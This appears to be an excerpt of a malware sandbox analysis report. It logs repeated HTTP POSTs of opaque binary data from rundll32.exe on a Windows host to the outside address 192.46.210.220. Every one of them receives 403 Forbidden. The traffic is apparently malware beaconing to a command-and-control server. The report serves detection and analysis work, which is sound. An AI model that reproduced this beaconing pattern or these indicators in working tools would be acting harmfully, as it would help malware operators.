2021-10-28 02:54:25 UTC	182	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:26 UTC	187	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49941	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:29 UTC	187	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:29 UTC	187	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:29 UTC	197	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49942	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:29 UTC	192	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:29 UTC	192	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:29 UTC	197	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49758	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:21 UTC	19	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:21 UTC	19	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:22 UTC	29	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49949	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:33 UTC	197	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:33 UTC	197	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:33 UTC	207	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49950	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:33 UTC	202	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:33 UTC	202	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:33 UTC	207	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49957	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:36 UTC	207	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:36 UTC	207	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:37 UTC	217	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49958	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:37 UTC	212	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:37 UTC	212	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:37 UTC	217	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49971	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:40 UTC	217	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:40 UTC	217	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:41 UTC	227	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49970	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:40 UTC	222	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:40 UTC	222	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:41 UTC	227	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49995	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:44 UTC	227	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:44 UTC	227	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:45 UTC	236	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49994	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:44 UTC	232	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:44 UTC	232	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:45 UTC	237	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	50005	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:48 UTC	237	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:48 UTC	237	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:49 UTC	246	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	50006	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:48 UTC	242	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:48 UTC	242	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:49 UTC	246	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49759	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:21 UTC	24	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:21 UTC	24	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 